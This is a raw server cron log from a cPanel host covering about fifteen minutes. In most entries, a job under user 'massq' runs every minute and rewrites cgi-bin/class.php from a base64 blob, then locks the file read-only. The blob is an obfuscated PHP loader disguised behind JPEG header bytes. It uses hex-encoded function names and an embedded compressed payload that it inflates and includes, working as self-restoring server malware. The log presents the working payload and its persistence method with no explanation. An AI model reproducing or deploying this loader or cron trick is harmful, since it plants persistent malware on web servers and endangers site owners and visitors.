Nov 11 12:02:01 server CROND[26199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:03:01 server CROND[27033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:04:01 server CROND[27848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:05:01 server CROND[28749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:05:01 server CROND[28750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:05:01 server CROND[28751]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:05:01 server CROND[28752]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 12:06:01 server CROND[29636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:07:01 server CROND[30459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:08:01 server CROND[31408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:09:01 server CROND[32255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:09:01 server CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 12:10:01 server CROND[740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 12:10:01 server CROND[741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:10:01 server CROND[742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:10:01 server CROND[743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:11:01 server CROND[1670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:12:01 server CROND[2478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 12:12:01 server CROND[2480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:13:01 server CROND[3393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:14:01 server CROND[4263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:15:01 server CROND[5177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:15:01 server CROND[5179]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
